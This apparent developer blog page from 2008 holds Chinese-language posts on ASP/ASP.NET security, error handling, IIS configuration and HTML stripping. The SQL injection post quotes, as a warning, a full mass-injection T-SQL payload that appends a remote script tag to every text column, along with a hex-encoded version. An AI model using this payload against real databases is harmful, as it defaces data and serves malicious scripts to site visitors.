. 小 . 提 . 示 . -

BLOG TAG LOCAL NOTICE GUEST

'ASP & ASP.net' 搜索網誌文章共有 7篇

2008/12/03 不可不防的 SQL Injection
2008/11/28 WebRequest 初體驗 (2)
2008/11/25 IIS 7 檔案上傳設定
2008/11/24 IIS 500-100 錯誤處理
2008/11/21 ASP 的 error handle Javascript 版
2008/11/19 ASP 的 error handle 陽春版
2008/10/09 ASP 清除 HTML tag 全記錄... (1)

不可不防的 SQL Injection

Category : ASP & ASP.net
Reg Date : 2008/12/03 19:00

SQL Injection 實在不算是什麼新鮮的攻擊模式, 不過, 每天到是都有大小不一的災情發生。昨天請了一天假, 公司就發生了一件 SQL Injection 的攻擊。到了隔天上班知道, 有一點點嚇一跳。

記得我剛開始寫網頁程式的時候, 那時對於安全防護沒有什麼概念, 寫程式只關心跑不跑的出來。不過待的公司夠小, 也沒有被駭客攻擊的經驗。後來慢慢接觸多了, 案子的規模也開始大了。就開始會關心安全性的議題。

去年剛到新公司時, 也因為一時沒有注意到的程式漏洞, 造成資料庫中的資料非竄改。那可是真的非常窘, 所以這次一發現發生了攻擊, 就深怕又是自己不小心造成的。還好側面了解應該不是我。而是沒有用的老舊的程式。

要怎麼防範 SQL Injection 的攻擊, 網路上的資料多如牛毛, 這也就不在錦上添花了。不過還是分享一下這幾次被攻擊的心得, 就是絕對不要信任任何取得的資料。

一般我們在防 SQL Injection 攻擊, 大多不會忘記要針對 request 來的資料做驗證。這也是最簡單, 最常見的攻擊方式。在輸入資料時, 帶入惡意的 SQL 指令。不過, 那 cookie 及 session 呢? cookie 及 session 都是可以修改的, 如果沒有針對 cookie, session, request 驗證資料, 就只有等著被駭的一天了。

附帶一提的是, 現在很流行將指令轉成 Hex 的方式來進行攻擊。原來的程式碼可能是:
Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<Script Src=http://www.hacker.com/hack.js></Script>''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor
Deallocate Table_Cursor

轉成 Hex 後就變成一段數字:
0x4400650063006C0061007200650020004000540020005600610072006300680061007200
280032003500350029002C0040004300200056006100720063006800610072002800320035
003500290020004400650063006C0061007200650020005400610062006C0065005F00430
07500720073006F007200200043007500720073006F007200200046006F007200200053006
5006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D00
65002000460072006F006D0020005300790073006F0062006A00650063007400730020004
1002C0053007900730063006F006C0075006D006E0073002000420020005700680065007
2006500200041002E00490064003D0042002E0049006400200041006E006400200041002E
00580074007900700065003D00270075002700200041006E0064002000280042002E00580
074007900700065003D003900390020004F007200200042002E00580074007900700065003
D003300350020004F007200200042002E00580074007900700065003D0032003300310020
004F007200200042002E00580074007900700065003D00310036003700290020004F00700
065006E0020005400610062006C0065005F0043007500720073006F00720020004! 600650074006300680020004E006500780074002000460072006F006D0020002000540061
0062006C0065005F0043007500720073006F007200200049006E0074006F002000400054
002C004000430020005700680069006C006500280040004000460065007400630068005F0
05300740061007400750073003D0030002900200042006500670069006E002000450078006
50063002800270075007000640061007400650020005B0027002B00400054002B0027005D
00200053006500740020005B0027002B00400043002B0027005D003D00520074007200690
06D00280043006F006E0076006500720074002800560061007200630068006100720028003
80030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027
003C0053006300720069007000740020005300720063003D0068007400740070003A002F00
2F0063002E006E00750025003600330025003600430065006100720033002E0063006F006D
002F006300730073002F0063002E006A0073003E003C002F0053006300720069007000740
03E0027002700270029004600650074006300680020004E006500780074002000460072006
F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E
0074006F002000400054002C00400043002! 00045006E006400200043006C006F007300650020005400610062006C0065005F0043007
500720073006F00720020004400650061006C006C006F006300610074006500200054006
10062006C0065005F0043007500720073006F007200

不過, 不管是不是轉成 Hex, 只要有驗證就不會有安全上的疑慮。

總之, 就是寫程式要養成好習慣啦!!! 自我提醒中...

只有管理員可閱讀

WebRequest 初體驗

Category : ASP & ASP.net
Reg Date : 2008/11/28 19:00

最近慢慢有開始弄一些 .net 的程式。常常會遇到一些奇怪的問題...(說是其怪, 其實是因為沒有用過...)。
在 ASP 的時代, 我們大多使用 MSXML2.ServerXMLHTTP 或 Microsoft.XMLHTTP。但是到了 ASP.net 就要改用 HttpWebRequest。用起來其實是差不多。因為之前都沒有用過, 所以就整理過來。

// 送出 Request
string Url =
  string.Format
    ("http://diary.tw/test.aspx?t1={0}", t1);
HttpWebRequest myReq =
  (HttpWebRequest)WebRequest.Create(Url);
myReq.Method = "Get";
HttpWebResponse myRes =
  (HttpWebResponse)myReq.GetResponse();

// 讀寫出結果
Stream Answer = myRes.GetResponseStream();
StreamReader _Answer = new StreamReader(Answer);
Response.Write(myRes.StatusCode); // 狀況
Response.Write(_Answer.ReadToEnd()); // 結果

ASP.NET, c#, HttpWebRequest, HttpWebResponse

ds 2012/03/19 13:49 R X
sds

只有管理員可閱讀

IIS 7 檔案上傳設定

Category : ASP & ASP.net
Reg Date : 2008/11/25 19:00

這幾天有機會處理一個上傳的功能。Windows 2008 Server + IIS 7。

由於平時我們不會上傳很大的檔案, 但是這次是處理上傳影音檔。並且客戶可能會上傳高達 500 mb 的影音。自己測試當然就只會找個 50 kb 的檔來測, 什麼問題都沒有。沒有想到一上線就馬上出包。一開始是 5 mb 的檔案不能上傳。出現 500-100 錯誤。小問題嘛, 直接在 web.config 檔中增加粗體的部分就解決了。

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.web>
    <httpRuntime
      executionTimeout="1800"
      maxRequestLength="512000"
      useFullyQualifiedRedirectUrl="false" />
  </system.web>
</configuration>

executionTimeout 單位是秒
maxRequestLength 單位是 kb

直接將 maxRequestLength 設為 500 mb, 逾時設 30 分鐘。應該可以了吧...果然自己上傳個 20 mb 都沒有問題。又交貨了...輕鬆愉快......

隔天, 上傳又失敗了...超過 30 mb 的檔直接跳 404 的錯誤。404 是找不到網頁也, 有沒有搞錯, 網頁明明就在那。於是只好開始找 Google 大師求助。找到很久, 果然找到一個印度的工程師(印度軟體工程果然強呀)提供的解決方案。總算真正解決這個問題了。

這方法要進入命令提示字元 Dos 模式來操作。看不懂也沒有關係。會換粗斜體的那個字就可以了。以下方法只適用在 Windows Server 2008 喲。

1. 以總管理者 Administrator 身份開啟命令提示字元。如不是 Administrator 請在命令提示字元上按右鍵點執行身份來切換。
2. 輸入 cd c:\Windows\systems32\inetsrv 後按 Enter
3. 輸入 appcmd set config "SiteName/AppName" -section:requestFiltering -requestLimits.maxAllowedContentLength:102400000 -commitpath:apphost 後再按下 Enter。

maxAllowedContentLength 預設值是 30 mb。單位是 bite。

如果想要取得當前的設定值, 可以用 list config 的方式取得如下:
appcmd list config "SiteName/AppName" -section:requestFiltering

appcmd 的相關使用方式, 可以利用 appcmd -? 或 appcmd config -? 或 appcmd list config -? 等方式取得。

學海無涯呀...看來 2008 Server 也要找點時間了解一下才行了。

appcmd, ASP.NET, executionTimeout, iis 7, maxAllowedContentLength, maxRequestLength, windows 2008 server

只有管理員可閱讀

IIS 500-100 錯誤處理

Category : ASP & ASP.net
Reg Date : 2008/11/24 19:00

前幾天我們已經針對 error handle 做了一些很簡單的介紹。今天就整理一下在發生重大錯誤時的處理應該如何做比較好。

IIS 6 及以前的版本都有提供一個很友善的好功能, 就是只要將工具 / 網際網路選項 / 進階中的「顯示易懂的 Http 錯誤」取消勾選。只要 ASP 發生錯誤, 馬上就會顯示非常完整的錯誤訊息。Debug 起來超好用的。不過那樣的資訊不只是 Debug 超好用。連駭客想要找到攻擊弱點都變的超好用...

因為錯誤訊息會包括錯在那一行, 原因, 如果是存取資料庫, 更會直接把 SQL statement 都秀出來。駭客就可以行用這些資訊, 進行像 SQL injection 或是跨網站攻擊等。並且, 秀出一堆錯誤碼給使用者看, 也不那麼友善嘛...

因此, 我們可以利用 IIS 的自訂錯誤來將錯誤不再顯示於網頁上。這只需要先設計一頁美美的錯誤頁。然後進到 IIS / 網站內容 / 自訂錯誤, 然後編輯 500;100 的訊息類型為 URL, 再在 URL 欄填入美美的那頁, 就可以啦。

不過, 這樣也就看不到錯誤訊息及原因, 就沒有辦法 Debug 啦。所以正確的做法, 除了要將錯誤訊息隱藏起來。還要將錯誤內容通知自己。

只要將你會需要的資訊, 用大概下面的方式整理出來, 加入到 500;100 的錯誤頁面中: If Response.Buffer Then Response.Clear Response.Status = "500 Internal Server Error" Response.ContentType = "text/html" Response.Expires = 0 End If Set objASPError = Server.GetLastError on error resume next ' 讀出錯誤訊息 ErrTxt = "Time: " & now ErrTxt = ErrTxt & "Remote_IP: " & request.ServerVariables("remote_addr") ErrTxt = ErrTxt & "ASPCode:" & objASPError.ASPCode ErrTxt = ErrTxt & "Number:" & " Hex(objASPError.Number) ErrTxt = ErrTxt & "Source:" & objASPError.Source ErrTxt = ErrTxt & "Category:" & objASPError.Category ErrTxt = ErrTxt & "File:" & objASPError.File ErrTxt = ErrTxt & "Line:" & objASPError.Line ErrTxt = ErrTxt & "Column:" & objASPError.Column ErrTxt = ErrTxt & "Description:" & objASPError.Description ErrTxt = ErrTxt & "ASPDescription:" & objASPError.ASPDescription ' 讀出是否有 get 的資料 ErrTxt = ErrTxt & "QueryString:" for each key in Request.QueryString ErrTxt = ErrTxt & key & "=" & Request.QueryString(key) next ' 讀出有沒有 post 的資料 ErrTxt = ErrTxt & "PostData:" for each key in Request.form ErrTxt = ErrTxt & key & "=" & Request.form(key) next ' 讀出 Session ErrTxt = ErrTxt & "Session:" for each key in Session.Contents ErrTxt = ErrTxt & key & "=" & Session(key) next ' 讀出 Cookies ErrTxt = ErrTxt & "Cookies:" for each key in Request.Cookies ErrTxt = ErrTxt & key & "=" & Request.Cookies(key) next ' 接下來就看你是要將錯誤寄給自己 ' 或是寫入 Log ' 或是存入資料庫的程式 ' .....

先前已經提過, 錯誤處理要視情況包括下列幾個項目:
1. 通知網站管理者或程式, 錯誤發生的內容
2. 將錯誤寫入應用程式 Log 中
3. 顯示友善的錯誤訊息
4. 停止繼續執行 ASP
5. 如有存取資料庫, 需考慮是否需要 transmit rollback
這一篇的做法, 希望可以對了解 error handle 可以有進一步的了解。

只有管理員可閱讀

ASP 的 error handle Javascript 版

Category : ASP & ASP.net
Reg Date : 2008/11/21 19:00

上一次 ASP 以 VBScript 做 Error Handle。不過, 如果是習慣使用 C, Java 等語言, 程式也可以用 jscript 來寫。就可以用 try catch 的方式。

一樣的例子, 如果改寫成 jscript 大概會變成這樣, 然後一樣出現錯誤!!

<Script language="jscript" runat="server"> a5; b = 3; z = a + b; Response.Write(z); </script>

加入 try...catch...之後的處理

<Script language="jscript" runat="server"> try { a5; b = 3; z = a + b; Response.Write(z); } catch(e) { Response.Write(e.description + "<br />"); Response.Write("網站發生錯誤!!"); } </script>

這也是一個簡單的 bug 處理, 在 <script> 加入 runat="server" 後, 就不是 client side 的程式。而是 server side 的囉。

改天再來寫一個比較完整的 Bug 處理。

只有管理員可閱讀

ASP 的 error handle 陽春版

Category : ASP & ASP.net
Reg Date : 2008/11/19 19:00

最近參加了一些課程及同事討論。對於程式的涵蓋率及錯誤處理上, 算是又有一點小進步。所以就決定整理一下這篇很簡單的 ASP 程式 Error handle。ASP 可以用 VBScript 及 JavaScript 來開發。由於 IIS 的預設值是 VBScript, 坊間的工具書也大多用 VBScript 來教學。所以幾乎大部分的程式都是使用 VBScript 來撰寫程式。

老實說, VBScript 在錯誤處理上實在有點陽春。因為只有二種針對 error 處理的方式:
1. on error resume next
遇到錯誤, 直接跳下一行處理
2. on error goto 0
遇到錯誤, 錯給你看 (這是預設值)

所以當我們在處理程式時, 有時候使用 on error resume next 非常好用。因為好像什麼錯誤都沒有了。但事實上則不然。因為它只是跳到下一行去處理。錯誤那行就算了。

舉一個必死的除法錯誤例子:
<% x 5 y = 3 z = x + y response.write z %>

這個例子少打了一個 = 號會造成下列錯誤:
Microsoft VBScript 執行階段錯誤錯誤 '800a000d'
型態不符合: 'x'

所以我們修改一下:
<% on error resume next x 5 y = 3 z = x + y response.write z %>

這樣就沒有錯誤產生了。YA!! 沒有事了, 下班去。

這樣做, 真的沒有事嗎...。頁面上輸出 z 的結果是 3, 表示結果是不對的。在現實世界, 一個小小的容錯, 代表著之後所有的運算是一路錯到底!!

一個好的錯誤處理, 應該包括下列幾個項目:
1. 通知網站管理者或程式, 錯誤發生的內容
2. 將錯誤寫入應用程式 Log 中
3. 顯示友善的錯誤訊息
4. 停止繼續執行 ASP
5. 如有存取資料庫, 需考慮是否需要 transmit rollback

所以, 這個陽春版的程式修改大致要如下:
<% on error resume next x 5 y = 3 z = x + y response.write z If Err.Number <> 0 then call HandleError() Error.Clear End If Sub HandleError() Response.Write(Err.Number & "<br />") Response.Write(Err.Description & "<br />") Response.Write("Ooops!! 網頁發生錯誤囉!!") Response.End() End Sub %>

錯誤發生的情況當然是很多種啦, 不過這只是一個簡單的例子, 處理的方式也不會這麼簡單。主要只是透過 Err 元件來決定錯誤處理做什麼事。下次有空我再來寫其他進一步的錯誤處理。

asp, try...catch...

只有管理員可閱讀

ASP 清除 HTML tag 全記錄...

Category : ASP & ASP.net
Reg Date : 2008/10/09 19:00

一開始寫 ASP 程式的時候, 老闆要我寫一支可以清除 HTML code 的程式...
那時候很笨...技巧也很差...所以就寫出了一個像是這樣的 "東西"...

第一代

for i = 1 to len(str)
  if right(left(str, i), 1) <> "<" then
    if j = 1 then
      if right(left(str, i), 1) = ">" then
        j = 0
      end if
    else
      str = str & right(left(str, i), 1)
    end if
  else
    j = 1
  end if
next

看了這段程式, 就可以知道有多笨了吧。最可怕的地方是這個的迴圈執行次數是隨字串的長度來增加的。以一篇 500 字的文章來說好了。加上 HTML code 後, 長度變成 1000 很正常。有些用戶還直接貼 word 檔。可能變成 2000 個字元。而列表頁的需求是一頁顯示 10 筆資料。所以平均每頁要跑 10000 ~ 20000 左右的迴圈。網頁的效率有多差, 可想而知。想像一個頁面要開 1~2 分鐘, 有多少人會等...

終於, 連我自己都看不下去了。所以大約半年後, 新學了一個 instr 就現學現用, 寫出了比較像樣的程式。

第二代

a = 1
b = 2
while a <> b
  a = InStr(1, str, "<")
  if a <> 0 then
    b = InStr(a, str, ">")
    if b <> 0 then
      str = left(str, a - 1) & right(str, len(str) - b)
    else
      str = left(str, a - 1)
    end if
  else
    b = a
  end if
wend

第二代的效率就好很多了, 一樣是用迴圈做, 不過迴圈執行的次數取決在 HTML tag 的數量。一樣以 500 字的文章來說, 就算從 word 貼過來, 也不會超 100 個 tag 吧, 一頁 10 筆迴圈執行次數只要 200~800 次就完成了。整體執行效率提升了至少 15 倍。一個網頁開 60 秒跟開 4 秒的差別。成績算是很不錯了吧。後來又過了一年吧, 發現其實還有更好的方法。於是寫出了...

第三代

Function ReplaceRegExp(strString, strPattern, strReplace)
  Dim RE: Set RE = New RegExp
  With RE
    .Pattern = strPattern
    .IgnoreCase = True
    .Global = True
    ReplaceRegExp = .Replace(strString, strReplace)
  End With
End Function

str = ReplaceRegExp(str,  "<((.|\n)*?)\>", "")

第三代有二個重點,
1. 重覆使用: 寫成 function 了, 可重覆使用
2. 效率更高

有人說寫程式是一種藝術, 我覺得這樣說有點 "太超過"。不過, 肯定是一門需要不斷學習鑽研的專業技術。這篇看起來應該可以算是一個程式設計的笑話吧。希望有一天我可以變成正面的教材...哈。

asp, pattern, RegExp, replace